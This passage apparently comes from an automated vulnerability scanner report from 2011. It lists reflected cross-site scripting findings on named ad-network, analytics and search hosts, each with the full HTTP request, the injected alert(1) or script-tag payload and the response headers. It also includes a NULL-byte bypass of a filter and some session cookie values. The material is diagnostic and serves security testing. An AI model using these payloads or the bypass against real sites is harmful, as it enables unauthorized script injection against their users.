GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l99793"-alert(1)-"db897f05fa3&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 23 Feb 2011 21:37:33 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9118
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... rl = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ab7/f/283/%2a/t%3B236744794%3B2-0%3B0%3B56548503%3B4307-300/250%3B40625974/40643761/1%3B%3B%7Esscs%3D%3fhttp://adclick.g.doubleclick.net/aclk?sa=l99793"-alert(1)-"db897f05fa3&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3 ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27956'-alert(1)-'a0fcdcacbd9 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/KOMO/HOME;sz=27956'-alert(1)-'a0fcdcacbd9 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.komonews.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 50370 Cache-Control: no-cache Pragma: no-cache Date: Wed, 23 Feb 2011 21:38:11 GMT Expires: Wed, 23 Feb 2011 21:38:11 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00322a1'-alert(1)-'c7b800a0218 was submitted in the sz parameter. This input was echoed as 322a1'-alert(1)-'c7b800a0218 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /adj/KOMO/HOME;sz=%00322a1'-alert(1)-'c7b800a0218 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.komonews.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 50373 Cache-Control: no-cache Pragma: no-cache Date: Wed, 23 Feb 2011 21:47:29 GMT Expires: Wed, 23 Feb 2011 21:47:29 GMT
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48256"><a>b8cff9c400d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /css48256"><a>b8cff9c400d/ie6.css HTTP/1.1 Host: ak.quantcast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en Date: Wed, 23 Feb 2011 23:11:46 GMT Content-Length: 7728 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8485d"><a>4fb1c3ae11e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /css/ie6.css8485d"><a>4fb1c3ae11e HTTP/1.1 Host: ak.quantcast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en Date: Wed, 23 Feb 2011 23:12:20 GMT Content-Length: 7728 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62631"><a>0818aa67453 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /css62631"><a>0818aa67453/ie7.css?v=2011022307 HTTP/1.1 Host: ak.quantcast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en Date: Wed, 23 Feb 2011 23:11:47 GMT Content-Length: 7728 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd709"><a>6e1ecdc6d7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /css/ie7.cssfd709"><a>6e1ecdc6d7c?v=2011022307 HTTP/1.1 Host: ak.quantcast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en Date: Wed, 23 Feb 2011 23:12:23 GMT Content-Length: 7728 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96fc2"><a>418e99f22e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /dynamic-css96fc2"><a>418e99f22e1/screen-optimized.css?v=2011022307 HTTP/1.1 Host: ak.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/top-sites-1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 23 Feb 2011 21:46:09 GMT Connection: close Content-Length: 7788
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e40a8"><a>dca22fd21f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /dynamic-css/screen-optimized.csse40a8"><a>dca22fd21f3?v=2011022307 HTTP/1.1 Host: ak.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/top-sites-1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 23 Feb 2011 21:46:45 GMT Connection: close Content-Length: 7791
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9904"><a>6e51fd54aca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /imagesa9904"><a>6e51fd54aca/sprite.png?v=20110222 HTTP/1.1 Host: ak.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/top-sites-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 23 Feb 2011 21:46:10 GMT Connection: close Content-Length: 7746
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc0e4"><a>81bf2eedf52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /images/sprite.pngcc0e4"><a>81bf2eedf52?v=20110222 HTTP/1.1 Host: ak.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/top-sites-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 23 Feb 2011 21:46:47 GMT Connection: close Content-Length: 7746
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2add5"><a>fbd859f2a29 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /js2add5"><a>fbd859f2a29/concat.js?v=2011022307 HTTP/1.1 Host: ak.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/top-sites-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 23 Feb 2011 21:46:09 GMT Connection: close Content-Length: 7728
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3131a"><a>e5ef3186019 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /js/concat.js3131a"><a>e5ef3186019?v=2011022307 HTTP/1.1 Host: ak.quantcast.com Proxy-Connection: keep-alive Referer: http://www.quantcast.com/top-sites-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 23 Feb 2011 21:46:46 GMT Connection: close Content-Length: 7728
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload acb7b<img%20src%3da%20onerror%3dalert(1)>a736eb9518c was submitted in the q parameter. This input was echoed as acb7b<img src=a onerror=alert(1)>a736eb9518c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /qsonhs.aspx?FORM=ASAPIH&q=acb7b<img%20src%3da%20onerror%3dalert(1)>a736eb9518c HTTP/1.1 Host: api.bing.com Proxy-Connection: keep-alive Referer: http://www.bing.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110215; _UR=OMW=1; _FP=; SRCHD=MS=1655311&SM=1&D=1644428&AF=NOFORM; MUID=FA3AE6176FAC4414AD6FC26C726B4B15; _HOP=; _SS=SID=641CB7A32570469C873045A16513C459&CW=1437
Response
HTTP/1.1 200 OK Content-Length: 79 Content-Type: application/json; charset=utf-8 X-Akamai-TestID: 6a828c6d806f46b4821695af4181d82d Date: Sat, 26 Feb 2011 00:17:05 GMT Connection: close
1.53. http://areacode.org/803 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://areacode.org
Path:
/803
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload cc32c'><script>alert(1)</script>e07cbbd8d60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /803?cc32c'><script>alert(1)</script>e07cbbd8d60=1 HTTP/1.1 Host: areacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 26 Feb 2011 01:58:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=11022745;expires=Mon, 18-Feb-2041 01:58:39 GMT;path=/ Set-Cookie: CFTOKEN=61649987;expires=Mon, 18-Feb-2041 01:58:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9584"><script>alert(1)</script>e2a5ada99b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTraderc9584"><script>alert(1)</script>e2a5ada99b2/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:30 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4c39"><script>alert(1)</script>30bb4a78677 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATTd4c39"><script>alert(1)</script>30bb4a78677/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:32 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6f45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 613f7"><script>alert(1)</script>691cdb4b46f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired613f7"><script>alert(1)</script>691cdb4b46f/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:34 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13275"><script>alert(1)</script>f4b4f57d27c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt13275"><script>alert(1)</script>f4b4f57d27c/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:36 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2545525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a923"><script>alert(1)</script>f5c014234ec was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
